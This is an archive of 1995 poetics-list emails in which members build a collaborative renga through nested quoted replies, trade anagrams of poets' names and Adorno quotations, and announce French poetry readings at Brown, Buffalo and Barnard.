Maya Angelou--Au! Lame Agony

Ai--iA

William Northcutt

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278. CAROLYN L. FORCHE-MATTISON

Re: no way it's renga, forgive

Mon 11 Sep 1995

Dear Tony,

I'll pass the weather woman's beasts onto Joan, who lives down the road and has no modem but I'm trying to talk her into one...

--Carolyn

On Sun, 10
Sep 1995, Charles Alexander wrote:

> *sorry Charles Alexander missed out the typo about the weather woman's "beasts" someone shd pass that typo on to Joan Retallack*
>
> *Tony Green,*
>
> *Don't assume it was missed. Miss is mission, mess is messiah, moss is motion.*
> *Charles Alexander*
> *Chax Press*
> *P.O. Box 19178*
> *Minneapolis, MN 55419-0178*
> [redacted] *(phone & fax)*
> [redacted]

↑ Index

279. Jorge Guitart

Re: Two rengs dont make a write

Mon 11 Sep 1995

On Sat, 9 Sep 1995, Charles Alexander wrote:

> >> >> >> > > > > > In the books were dreams and in the dreams were books.>
> >> >> >> > > > > > And flew through windows '95, lightning green and fine
> morning
> >> >> >> > > > > > First inverted whistle of a cardinal in the poplar
> >> >> >> > > > > > The book and the oboe on the grass under sun and cloud
> >> >> >> > > > > > Go endlessly, an obtuse Prussian blue, it binds
> >> >> >> > > > > > The caravan of windows to what they flee
> >> >> >> > > > > > These lace curtains, more gauze than bondage, more
> >> >> >> > > > > > Mollycoddled than aware, thin-spined and pebbling
> >> >> >> > > > > > but narrow in the waist or waspish Sunday years ago
> >> >> >> > > > > > Over coffee topped with whipped lads, the Times blowing
> >> >> >> > > > > > & opining, heavy humid air, cum amusing against the
> >> >> >> > > > > > bleached ribcage ripcorded into compassed wind
> >> >> >> > > > > > kissing the weatherwoman between her beasts as she
> >> >> >> > > > > > gives gracious problem: fanatical snacks, landscape of
> >> >> >> > > > > > flicka son of thunderhead and the storm in the glass of
> water'
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> >> >> >> > > > > > halfway pertinent incision we keep making safe for

ignorance
> >> >> >> > > > > > (inspection
> >> >> >> > > > > > denied for not knowing how credenza was meant) &
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> >> >> >> > > > > > pockets in small furniture intended house sequentially
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> >> >> >> > > > > > mountains away but it wasn't, you know, a big tango
> >> >> >> > > > > > when the attorney general came, selah hales said,
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> >> >> >> > > > > > kook!"
> >> >> >> > > > > > Edward Kennedy Ellington! "Tootin' Through the
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> >> >> >> > > > > > warehouse, curls
> >> >> >> > > > > > no ideas but the woven fabric the texture so to speak
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> >> >> >> > > > > > dry cleaners
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> >> >> >> > > > > > All melded like striated film leftover in the pastel
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> >> >> >> > > > > > sandpaper juxtaposed with seasoned instruments and

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> >> >> >> > > > > > through thunderstorms, arm over thigh until light shakes
> >> >> >> > > > > > petals free of names that rain across known skin forgotten
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> >> >> >> > > > > > capable of keeping the canoe right way up in the cool
> >> >> >> > > > > > prose of the upper Hudson, dinner's at seven so
> >> >> >> > > > > > start swimmin, bud: "lay me down in a wetsuit,
> >> >> >> > > > > > heats me up in the sleaze," it's like a huge dose
> >> >> >> > > > > of familiarity. I am storing radiance for later use
> >> >> >> > > > > > I know the war-whoop in each dusty narrative
> >> >> >> > > > > > among the invoices and the difference engines
> >> >> >> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
> >> >> >> > > > > collecting the stamp hinges that come in on the breeze
> >> >> >> > > > delicate lace flies into pelican Bills in the house
> >> >> >> > > of narration with partners of good moisture. Here, touch my
> >> >> >> > > > < ebullience with a token gesture of sauce, of the red stuff.

> >> >> >> I have a lot of duende in the freezer & we can defrost some
> >> >> > > woods on a snowy evening, my horse is lovely dark and deep
> >> >> as penitence, but let's elude the shakes and drear, get lost in our
> palaver
> >> > have tongue will travel not a binge of harmony which in the end goes
> >> meerschaum on us till we blink ourselves to creeping where the
> >> sublime is cows bathing in starlight. Give temporality a rest, for
> renku went to sleep, foul poets made it shun the public light, again
  chax pressed from the organic mountain, again a singular howl of

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280. Jorge Guitart

Re: Two rengs dont make a write

Mon 11 Sep 1995

On Sun, 10 Sep 1995, Jorge el Canadiense wrote:

> > El otro Jorge wrote:
> > Sheila wrote:
> > > Jorge wrote:
> > > >> >> >> > > > > > In the books were dreams and in the dreams were books.>
> > > >> >> >> > > > > > And flew through windows '95, lightning green and fine
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> > > >> meerschaum on us till we blink ourselves to creeping where the
> > > >> sublime is cows bathing in starlight. Give temporality a rest, for
> > > widest space succombs to onslaughts of hidden porchlight in the latitude
> > > that she has given his longitude. Depth is directly stated. A signal
> > event of the first order, observed by St. Petersburg poets on horses
mounted on cardboard which i had given Park Place & two railroads for.

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281. Jorge Guitart
Re: your mail
Mon 11 Sep 1995

On Sun, 10 Sep 1995, Louis Cabri wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> condemmed.
> promised what she practiced as triangular blue feats soothed
> stunned images into form, saying a need, similar days
> to those not before, yet stored, whose sifted haze
> flushed a hick into dialogue with his own hack's
knowledge of parental damage, but september welcome was

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282. Jorge Guitart
Re: Sheila & Jorge's Excellent Adventure
Mon 11 Sep 1995

Sheila wrote
> Jorge wrote:
> > Sheila wrote:
> >> Jorge wrote:
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> >> >> sublime is cows bathing in starlight. Give temporality a rest, for
> >> widest space succombs to onslaughts of hidden porchlight in the latitude
> >> that she has given his longitude. Depth is directly stated. A signal
> slated to be read ingratiates politicos and blond ones also shaven vortices
  but does mangling exist or the circle is balboa plus expenses

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283. R I Caddel
Global Poets
Mon 11 Sep 1995

Simply to endorse Pierre's placing of himself - and many more - in a transnational fellowship of poets, and Marjorie's call for the non-ghettoizing of UK (or any other) poetry. Of course, UK folks are often accurately caricatured as serials offenders in this: the irony of my editing "26 New British Poets" for "New American Writing" was not lost on my ever-ready critics. Paul told me that his transformation from Oink! to NAW was grant-application driven - having persisted with Pig Press for 23 years I can certainly appreciate that...

Could I invite the RENGA PEOPLE to delete the "forwarded message" symbols (>>>) from the beginning of each line, unless they're integral to the structure? On my primitive screen the >>>'s now take up half the width, and the text is falling off on the right so that the difference between the renga and "in no way is this a renga" is - at first sight - lost. But keep it coming!

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

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284. Gwyn McVay
Re: your mail
Mon 11 Sep 1995

Susan Howe = Uh, saw nose

And in the dead poets category:

Isidore Ducasse = `a suicides dore's (pretend those are accents)

Gwyn

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285. Gale Nelson
Re: magic names
Mon 11 Sep 1995

---

re magic names,

Keith Waldrop has an entire poem, comprised of 'em. I don't own a copy of the poem (as it is magic), but I may be able to recall a few:

Keith Waldrop: lad with poker

John Hawkes: jaw he honks

I'll ask Keith if he wouldn't mind reminding me of a few others.

Gale Nelson (lean on legs)

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286. Steve Evans
It is better to be ruined attempting the impossible
Mon 11 Sep 1995

"His work as a whole is a protest against the deadly temptation to make it easy for oneself by renouncing all happiness and all truth. It is better to be ruined attempting the impossible. The art he is preoccupied with--tightly organized, seamless, and rendered completely sensory precisely through its conscious force-- is hardly capable of realization. But it embodies a resistance to the unspeakable pressure exerted on what is human by what merely exists. It acts as a representative of what might one day be. Not to become stupid, not to be lulled to sleep, not to go along: these are the social stances sedimented in [his] work, a work which refuses to play the game of false humanness, of social complicity with the denigration of the human being."

"That the division of labor cannot be banished by denying it, that the coldness of the rationalized world cannot be dispelled by recommending irrationality...is

a social truth that has been demonstrated most emphatically by fascism. It is through more, not less, reason that the wounds dealt the irrational totality of humankind by the instrument that is reason can be healed."

"Wittgenstein's maxim, 'Whereof one cannot speak, thereof one must be silent,' in which the extreme of positivism spills over into the gesture of reverent authoritarian authenticity, and which for that reason exerts a kind of intellectual mass suggestion, is utterly antiphilosophical. If philosophy can be defined at all, it is an effort to express things one cannot speak about, to help express the nonidentical despite the fact that it identifies it at the same time."

"The soundness of a conception can be judged by whether it causes one quotation to summon another. Where thought has opened up one cell of reality, it should, without violence by the subject, penetrate the next. It proves its relation to the object as soon as other objects crystallize around it. In the light that it casts on its chosen substance, others begin to glow."

"The only philosophy which can be responsibly practiced in face of despair is the attempt to contemplate all things as they would present themselves from the standpoint of redemption.... Pespectives must be fashioned that displace and estrange the world, reveal it to be, with its rifts and crevices, as indigent and distorted as it will appear one day in the messianic light.... Even its own impossiblity it must at last comprehend for the sake of the possible. But beside the demand thus placed on thought, the question of the reality or unreality of redemption itself hardly matters."

"Theodor Wiesengrund was born in Frankfurt am Main on 11 Septemper 1903. (Weisengrund-Adorno was the name registered at his birth, on his mother's request, and it was the name he used as a music critic in the Weimar period. During his exile in California in 1943, his final, officially registered name became just Adorno, while Wiesengrund shrank to the initial W.)"

[The first and second quotes are from "The Artist as Deputy (in NOTES ON LITERATURE vol.1); the third is from the best piece of writing on modern poetry that claims to be writing about modern philosophy, "Skoteinos, or How to Read Hegel" (HEGEL: THREE STUDIES); the fourth quote is from the section of MINIMA MORALIA called "Memento" (a meditation on writing that reviles Benjamin's "The Writer's Technique in Thirteen Theses") and the last is from the "Finale" the same book; the biographical note is from Rolf Wiggershaus's THE FRANKFURT SCHOOL.]

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287. Sheila E. Murphy
Re: your mail
Mon 11 Sep 1995

>On Sun, 10 Sep 1995, Louis Cabri wrote:
>
>> In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
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>> These lace curtains, more gauze than bondage, more
>> Mollycoddled than aware, thin-spined and pebbling
>> but narrow in the waist or waspish Sunday years ago
>> Over coffee topped with whipped cream, the Times blowing
>> & opining, heavy humid air, cumulus amusing against the
>> bleached ribcage ripcorded into compassed wind
>> condemmed.
>> promised what she practiced as triangular blue feats soothed
>> stunned images into form, saying a need, similar days
>> to those not before, yet stored, whose sifted haze
>> flushed a hick into dialogue with his own hack's
> knowledge of parental damage, but september welcome was
delinquent in its spreadsheet folly left on cruise control

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288. Sheila E. Murphy
Re: Sheila & Jorge's Excellent Adventure
Mon 11 Sep 1995

Jorge wrote:
> Sheila wrote
>> Jorge wrote:
>> > Sheila wrote:
>> >> Jorge wrote:
>> >> >> >> >> > > > > > In the books were dreams and in the dreams
were books.>
>> >> >> >> >> > > > > > And flew through windows '95, lightning green
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>> >> morning
>> >> >> >> >> > > > > > First inverted whistle of a cardinal in the poplar
>> >> >> >> >> > > > > > The book and the oboe on the grass under sun

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>> >> >> >> >> > > > > > Go endlessly, an obtuse Prussian blue, it binds
>> >> >> >> >> > > > > > The caravan of windows to what they flee
>> >> >> >> >> > > > > > These lace curtains, more gauze than bondage, more
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>> >> >> >> >> > > > > > but narrow in the waist or waspish Sunday years ago
>> >> >> >> >> > > > > > Over coffee topped with whipped lads, the Times blowing
>> >> >> >> >> > > > > > & opining, heavy humid air, cum amusing against the
>> >> >> >> >> > > > > > bleached ribcage ripcorded into compassed wind
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>> >> >> >> >> > > > > > gives gracious problem: fanatical snacks, landscape of
>> >> >> >> >> > > > > > flicka son of thunderhead and the storm in the glass of
>> >> water'
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>> ignoranc
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>> >> >> >> >> > > > > > denied for not knowing how credenza was meant) &
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>> >> >> >> >> > > > > > pockets in small furniture intended house sequentially
>> >> several
>> >> >> >> >> > > > > > mountains away but it wasn't, you know, a big tango
>> >> >> >> >> > > > > > when the attorney general came, selah hales said,
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>> >> oh,ho
>> >> >,
>> >> >> >> >> > > > > > kook!"

>> >> >> >> >> > > > > > Edward Kennedy Ellington! "Tootin' Through the Roof"
>> Tobacc
>> >o
>> >> >> >> >> > > > > > warehouse, curls
>> >> >> >> >> > > > > > no ideas but the woven fabric the texture so to speak wa
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>> >> at t
>> >> >he
>> >> >> >> >> > > > > > dry cleaners
>> >> >> >> >> > > > > > piping hot and gloved-in somewhere unsalted, perched on
>> >> >> >> >> > > > > > prescience
>> >> >> >> >> > > > > > the chair is sad, alas, and i've lusted tootles' livers
>> >> >> >> >> > > > > > the odor day toy a cello day dis chevys a bo coo daughte
>r
>> >> chos
>> >> >e
>> >> >> >> >> > > > > > encore
>> >> >> >> >> > > > > > Flaubert because we're waiting all throughout eternity f
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>> >> >> >> >> > > > > > of such suchness. In the nooks were creams and in the
>> strea
>> >ms
>> >> >> >> >> > > > > > were hooks.
>> >> >> >> >> > > > > > All melded like striated film leftover in the pastel see
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>> >of
>> >> >> >> >> > > > > > darkness
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>> >> recently so

>> >> >ft
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>> >> considered
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>> >> >> >> >> > > > > > by how quiet effort really is or is not, fast enough
>> to sle
>> >ep
>> >> >> >> >> > > > > > through thunderstorms, arm over thigh until light
shakes
>> >> >> >> >> > > > > > petals free of names that rain across known skin forgott
>en
>> >> >> >> >> > > > > > alive in our hearse hurts, projective nurse if she is
>> to go
>> >> >> ahead
>> >> >> >> >> > > > > > and dance, composing instead of straining muscles, far
>> eyes
>> >> >> >> >> > > > > > saunter lope pentecost beam operator will you cockpit
>> >> >> >> >> > > > > > out, transplanted organs speak, the idiom
>> >> >> >> >> > > > > > inseams, a snare as solvently unequal-- the power
>> >> >> >> >> > > > > > uncreased although each snare still trembles quantum
>> >> >> >> >> > > > > > which explains why the pump is busted and why
>> >> >> >> >> > > > > > he preferred whole afternoons on the phone to that
>> >> >> >> >> > > > > > crap about not having a cousin on the moon
>> >> >> >> >> > > > > > capable of keeping the canoe right way up in the cool
>> >> >> >> >> > > > > > prose of the upper Hudson, dinner's at seven so
>> >> >> >> >> > > > > > start swimmin, bud: "lay me down in a wetsuit,

>> >> >> >> >> > > > > > heats me up in the sleaze," it's like a huge dose
>> >> >> >> >> > > > > of familiarity. I am storing radiance for later use
>> >> >> >> >> > > > > > I know the war-whoop in each dusty narrative
>> >> >> >> >> > > > > > among the invoices and the difference engines
>> >> >> >> >> > > > > > Char, Lee, Parr, Kerr, everybody is here and
there
>> >> >> >> >> > > > > collecting the stamp hinges that come in on the
breeze
>> >> >> >> >> > > > delicate lace flies into pelican Bills in the house
>> >> >> >> >> > > of narration with partners of good moisture. Here,
>> touch my
>> >> >> >> >> > > > > < ebullience with a token gesture of sauce, of the
red
>> stuff.
>> >> >> >> >> I have a lot of duende in the freezer & we can defrost
>> some
>> >> >> >> > > woods on a snowy evening, my horse is lovely dark
and de
>ep
>> >> >> >> as penitence, but let's elude the shakes and drear, get lost in
our
>> >> palaver
>> >> >> > have tongue will travel not a binge of harmony which in the end
goes
>> >> >> meerschaum on us till we blink ourselves to creeping where the
>> >> >> sublime is cows bathing in starlight. Give temporality a rest, for
>> >> widest space succombs to onslaughts of hidden porchlight in the
latitude
>> >> that she has given his longitude. Depth is directly stated. A signal
>> slated to be read ingratiates politicos and blond ones also shaven vortices
> but does mangling exist or the circle is balboa plus expenses
cabinets away from lust and pedigree and shark fin soup

↑ Index

289. Steve Evans

Errata (not so sweet)

Mon 11 Sep 1995

It's what I get for adding my two cents, but when I called Adorno's "Memento" section of MINIMA MORALIA "a meditation on writing that reviles Benjamin's 'The Writer's Technique in Thirteen Theses'" I rather meant to write "rivals."

But the difference is "thin" as a former teacher of mine used to put such things. (I also mistyped "ei" in one of the Wiesengrunds).

As penance I offer the following (quoted without permission as always):

"His Words in her heart rather than upon her lips (A&H) correspond to an old need so authentic modern works are criticisms of past ones (A1) beloved by the gods and as such he [sic] (A2) So much for Tragedy and Epic poetry (A2) _hominum_ [sic] _dabit homini_ [sic] _A te petatur, in te quaeratur, apud te pulsetur: sic, sic_ (A3)

A&H-Abeland & Heloise / A1-Adorno / A2-Aristotle / A3-Augustine"

Joan Retallack's *Errata 5uite* (Washington DC: Edge, 1993): p.7.

↑ Index

290. Edward Foster
Re: Red Wheelbarrow and that Damned Chicken
Mon 11 Sep 1995

---

the way Williams is boring? as in: oh, no, not that again. going back to williams now is like going to dinner and hoping for seconds and finding it's all been eaten up. it must have been exciting to read him in 1928.

↑ Index

291. Gale Nelson
French Poetry Festival in October
Mon 11 Sep 1995

Poets Jean Fremon, Emmanuel Hocquard, Jacqueline Risset and Claude Royet-Journoud will be participating in a bilingual, bicampus French Poetry Festival in October -- reading and discussing poetics at SUNY Buffalo on 18 and 19 October and at Brown University on 23 and 24 October 1995.

Jean Fremon was born in 1946 in Asnieres. He has written criticism, poetry and fiction. His recent novel is L'ile des morts (POL). English versions of his work inlcude "Withdrawal" translated by Tom Mandel, _serie d'ecriture 7_, and "Theatre" translated by Norma Cole, _Avec 4_.

Emmanuel Hocquard was born in Tangier in 1940. He was, with the artist Raquel, the editor and printer of the small press, "Orange Export Ltd." which has published many new French and American poets. He has written poetry, criticism, and novels (_Aerea dans les forets de Manhattan_ won the Prix France-Culture in 1985). With Claude Royet-Journoud, he edited two large anthologies of new American poets, _21 + 1: Poetes americains d'aujourd'-hui_ and _49 + 1._ English versions of his work include _Late Additions_, translated

by Connell McGrath and Rosmarie Waldrop, Serie d'Ecriture and _Theory of Tables,_ translated by Michael Palmer, oblek editions.

Jacqueline Risset was born in Besancon in 1933. She has published six books of poetry as well as critical works. She teaches French literature at the Unversity La Sapienza in Rome, has been on the editorial board of _Tel Quel_, and is well known for her translations of Italian, most notably of Dante. English versions of her work include the forthcoming _The Translation Begins,_ translated by Jennifer Moxley, Burning Deck.

Claude Royet-Journoud was born in Lyon in 1933. He was cofounder and coeditor with Anne-Marie Albiach and Michael Couturier of the magazine _Siecle a mains_ (1963-70). With Emmanuel Hocquard, he edited two major anthologies of American poets, _21 + 1_ and _49 + 1_. English versions of his work include _The Notion of Obstacle_, translated by Keith Waldrop and _The Maternal Drape,_ translated by Charles Bernstein (both titles published by AWEDE).

Dates and times for events in Buffalo will be posted in the near future.

At Brown, readings will take place at 8 p.m. on both evenings of the Festival: 23 October: Readings by Jean Fremon and Emmanuel Hocquard 24 October: Readings by Jacqueline Risset and Claude Royet-Journoud Both readings will take place at Rochambeau House, 84 Prospect Street, on the east side of Providence, R.I. For directions, please contact the Brown Creative Writing Program at [redacted] or send electronic mail to Gale Nelson at [redacted].

The French Poetry Festival is sponsored by Brown University's Program in Creative Writing and SUNY-Buffalo's Poetics Program. Brown Creative Writing thanks the Department of French Studies, a generous anonymous donor and the Beinecke Foundation for their support. SUNY-Buffalo Poetics thanks the Melodia E. Jones Chair (Raymond Federman), David Gray Chair (Charles Bernstein) and Eugenio Donato Chair (Rodolphe Gasche).

# # #

↑ Index

292. Edward Foster
Re: Red Wheelbarrow
Mon 11 Sep 1995

---

yr. right, burt, wcw has indeed influenced "widely or deeply," "like the air we breathe." that's the problem. it's like going to b&r and finding the flavor of the month is vanilla.

↑ Index

293. **Rod Smith**
Re: SPECIAL AGENCY
Mon 11 Sep 1995

OK, I'd just like to clear something up. I know David Ayre, I've worked closely with David Ayre, & believe me he's no commercialism-infested desert island. We're talking about a man capable of the most inert pseudo-expletive non-existence. He's sexually attracted to the bandaged, ya know, to the head-wound type, to the bandaged. His eyes bug out in a serotonin induced trance at the first whiff of certain crucial facts. His organelles are self-ordered and invariant, it's disgusting, really. I mean, really. He once mistook a fire escape for a weapon & is a traditional predator on the tubifex worm. Christ himself called him an ambidextrous universe. In the end he'll look like a great bundle of hair.

Of all those institutions that set out in the nineteenth century to medicalize sex, it was David Ayre, that smarmy neolithic tryptamine, that conceived & published the greatest degenerescence. A farm hand from the village of Lapcourt, Ayre paid no attention to tremendous noises, & as he became older, asked for EXTRA ORDERS when the firing started.

I won't even begin to describe his 'Master Plan' as it permutates abruptly in hyperspatial superconductive telepathic rapport Weeping Weeping oer thy cheek asleep where thy little heart doth rest a chapel of gold secret smiles clothd in iron wire both cold & heat & no father there & no Anarchist leaders down among the swine in that hurricane of ooze: this is the Ayre we breath, an oxidized sandpaper of cyber-assertions growing in our experiment and cancelling, flattening, defenceless. He is schizophrenic, deaf, & completely commited to the work ethic. We simply must call a cop or something. The hospital food is very meagre. Beware Ayre for it has been written 'No Cult can make it without enemies." or was it enemas. . . Any case, keep your guns cocked, no amount or impending demoralization will neutralize his surgical pedigree.

Ayre is an alphabet of actual insects, a sick zone caressed by the warmth of the rising sun. Rumour has it he reads Poe. This morphogenetically obtuse lump of cramp investigation must be talked to nicely, for we have so very much to learn, my friends. My dear, sweet friends.

--Rod

↑ Index

294. M. Magoolaghan
you & whose army?
Mon 11 Sep 1995

---

hal foster: curious & telling that 3 poets you obviously admire & have written cogently on recently--olson, duncan, creeley--found williams endlessly fascinating, where you've tired of him & his "damned chicken" so quickly.

as a prof. here retorted to an uppity undergrad who thought he could "see right through" heidegger: "one does not simply dismiss a great mind."

i suppose next you'll be telling us zukofsky has a tin ear?

enuf _ex cathedra_ pronouncements, 'k? i'd prefer real dialogue to swaggering boosterism. how about stepping out of yer safe 3-line shell for a change?

M. Magoolaghan

↑ Index

295. B. Cass Clarke
Hollo, Dorn address
Mon 11 Sep 1995

Listers,
If you have *current* address for Ed Dorn
and/or Anselm Hollo, please backchannel to me -

Thanks for your help.

B. Cass Clarke
[redacted]

↑ Index

296. Tom Taylor
Re: Agency (1)
Mon 11 Sep 1995

This reply intentionally left blank

↑ Index

297. Jorge Guitart
Re: your mail
Mon 11 Sep 1995

On Mon, 11 Sep 1995, Sheila E. Murphy wrote:

> >On Sun, 10 Sep 1995, Louis Cabri wrote:
> >
> >> In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more
> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped cream, the Times blowing
> >> & opining, heavy humid air, cumulus amusing against the
> >> bleached ribcage ripcorded into compassed wind
> >> condemmed.
> >> promised what she practiced as triangular blue feats soothed
> >> stunned images into form, saying a need, similar days
> >> to those not before, yet stored, whose sifted haze
> >> flushed a hick into dialogue with his own hack's
> > knowledge of parental damage, but september welcome was
> delinquent in its spreadsheet folly left on cruise control
  meanwhile lust fuels approximate wound designer's religiosity

↑ Index

298. Brian McHale
Steve McCaffery address
Mon 11 Sep 1995

I'm trying to track down Steve McCaffery. He doesn't seem to be using the e-mail address at which I corresponded with him last year; does anybody have a current e-mail address for him? Steve, if you're reading this, please flash a message my way. Brian McHale

↑ Index

299. Jorge Guitart
Sheila & Jorge's Excellent Adventure
Mon 11 Sep 1995

S&J's excellent adventure sans chevrons

Sheila wrote
Jorge wrote:
Sheila wrote

Jorge wrote:
Sheila wrote:
Jorge wrote:

In the books were dreams and in the dreams were books.And flew
through windows '95, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
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but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cum amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of
flicka son of thunderhead and the storm in the glass of water'
s halfway pertinent incision we keep making safe for ignorance
(inspection denied for not knowing how credenza was meant) &
neo-colonizing pockets in small furniture intended house
sequentially several mountains away but it wasn't, you know, a
big tango when the attorney general came, selah hales said,
"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
Roof" Tobacco warehouse, curls no ideas but the woven fabric the
texture so to speak was at the dry cleaners piping hot and
gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' liversthe odor
day toy a cello day dis chevys a bo coo daughter chose encore
Flaubert because we're waiting all throughout
eternity for moments to be of such suchness.
In the nooks were creams and in the stream were hooks
All melded like striated film leftover in the pastel seeds
of darkness falling like a counterirritant around the manchineel.
Likewise seams andpaper juxtaposed with seasoned instruments and
recently soft fruit of subject's object status, violent
transformation la Ste. Therese into beaming cumulus apokoinu
switchback and in the u-turns were bookmobiles rounding angles
considered shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprisedby how quiet
effort really is or is not, fast enough to sleep

through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's like a huge dose
of familiarity. I am storing radiance for later use
I know the war-whoop in each dusty narrative
among the invoices and the difference engines
Char, Lee, Parr, Kerr, everybody is here and there
collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
of narration with partners of good moisture. Here,touch my
ebullience with a token gesture of sauce, of the red stuff.
I have a lot of duende in the freezer & we can defrost some
woods on a snowy evening, my horse is lovely dark and deep
as penitence, but let's elude the shakes and drear, get lost in
our palaver have tongue will travel not a binge of harmony which
in the end goes meerschaum on us till we blink ourselves to
creeping where the sublime is cows bathing in starlight. Give
temporality a rest, for widest space succombs to onslaughts of
hidden porchlight in the latitude that she has given his
longitude. Depth is directly stated. A signal slated to be read
ingratiates politicos and blond ones also shaven vortices but
does mangling exist or the circle is balboa plus expenses
cabinets away from lust and pedigree and shark fin soup
trailing stiffens buying tears for so many tendons

↑ Index

300. Charles Bernstein
French Poetry Festival
Mon 11 Sep 1995

Emmanuel Hocquard, Jean Fremon, and Jacqueline Risset will be reading in New York City on Friday October 20, from 6-8pm, at Millbank Hall, Barnard College, 117th Street and Broadway. This is a spin-off event of the Festival sponsored by Brown and Buffalo and part of "French poets at "B" universities in the Northeast" (Brown/Buffalo/Barnard: the francophilic triangle).

Buffalo events with the four poets (that is, including Claude Royet-Journoud) are Weds., Oct. 18 at 4pm, bilingual reading at the Center for the Arts; and Thurs., Oct. 19, at 12:30, discussion, 438 Clemens Hall. (North campus.)

Other French writers at Buffalo this fall --

Michel Deguy will be reading at UB on Weds., Oct. 25 at 4pm in the Center for the Arts. He will give a lecture on Oct. 24 at 12:30pm in 930 Clemens Hall. I've heard Deguy may be doing something at NYU, but have no information.

Lucette Finas will read at UB on Weds., Sept. 27, at 4pm, Center for the Arts and give a lecture on Thurs. Sept. 28 at 12:30 in 438 Clemens.

Non-French events at UB (admittedly a smaller number):

all "Wednesdays at 4" in the Center for the Arts:

Detroit-City Lights Poet-Playwright Carla Harryman, Sept. 13 (Harryman's _There Never Was a Rose Without a Thorn: Selected Writings_ is just out from City Lights)

Scots-New York Performance Artist-Poet Fiona Templeton, Sept. 20 (Also a performance at Hallwalls on Sept. 19 at 8pm)

West Riding of Yorkshire-Canadian Poet-Pataphysicist Steve McCaffery, Nov. 15.

[All UB events are free and open to the public.]

--Charles Benstein
  Poetics Program, SUNY-Buffalo
  "We're working around the clock
   To serve your poetry needs"

*

Coming soon to this listserv: Roses without Thorns (priority subscribers only)

_____ /"cere

bral thinness" -- just another way of saying "male pattern baldness"/

↑ Index

301. **Patrick Phillips**
Re: Fall Ear Inn Schedule (fwd)
Mon 11 Sep 1995

---

thanks bill

↑ Index

302. **Patrick Phillips**
Re: SPECIAL AGENCY
Mon 11 Sep 1995

---

to Rod; particularly since the sun hasn't risen in my quad of providence I am basking in your nightime panoply an utter udder. Your first was the perfect parens; your second the animation of it. Oh where has that letter fallen, been puloined? I say Smith stole it...

↑ Index

303. **beard**
Agency (1)
Mon 11 Sep 1995

This blank unintentionally left a message

↑ Index

304. **Jordan Davis.**
Re: Two rengs dont make a write
Mon 11 Sep 1995

>> > > > > > In the books were dreams and in the dreams were books.>
>> > > > > > And flew through windows '95, lightning green and fine morning
>> > > > > > First inverted whistle of a cardinal in the poplar
>> > > > > > The book and the oboe on the grass under sun and cloud
>> > > > > > Go endlessly, an obtuse Prussian blue, it binds
>> > > > > > The caravan of windows to what they flee
>> > > > > > These lace curtains, more gauze than bondage, more
>> > > > > > Mollycoddled than aware, thin-spined and pebbling
>> > > > > > but narrow in the waist or waspish Sunday years ago
>> > > > > > Over coffee topped with whipped lads, the Times blowing
>> > > > > > & opining, heavy humid air, cum amusing against the

>> > > > > > bleached ribcage ripcorded into compassed wind
>> > > > > > kissing the weatherwoman between her beasts as she
>> > > > > > gives gracious problem: fanatical snacks, landscape of
>> > > > > > flicka son of thunderhead and the storm in the glass of water's
>> > > > > > halfway pertinent incision we keep making safe for ignorance
>> > > > > > (inspection
>> > > > > > denied for not knowing how credenza was meant) & neo-colonizing
>> > > > > > pockets in small furniture intended house sequentially several
>> > > > > > mountains away but it wasn't, you know, a big tango
>> > > > > > when the attorney general came, selah hales said, "Dias, oh,ho,
>> > > > > > kook!"
>> > > > > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> > > > > > warehouse, curls
>> > > > > > no ideas but the woven fabric the texture so to speak was at the
>> > > > > > dry cleaners
>> > > > > > piping hot and gloved-in somewhere unsalted, perched on
>> > > > > > prescience
>> > > > > > the chair is sad, alas, and i've lusted tootles' livers
>> > > > > > the odor day toy a cello day dis chevys a bo coo daughter chose
>> > > > > > encore
>> > > > > > Flaubert because we're waiting all throughout eternity for
>> > > > > > moments to be
>> > > > > > of such suchness. In the nooks were creams and in the streams
>> > > > > > were hooks.
>> > > > > > All melded like striated film leftover in the pastel seeds of
>> > > > > > darkness
>> > > > > > falling like a counterirritant around the manchineel. Likewise
>> > > > > > sandpaper juxtaposed with seasoned instruments and recently soft
>> > > > > > fruit
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>> > > > > > and in the u-turns were bookmobiles rounding angles considered
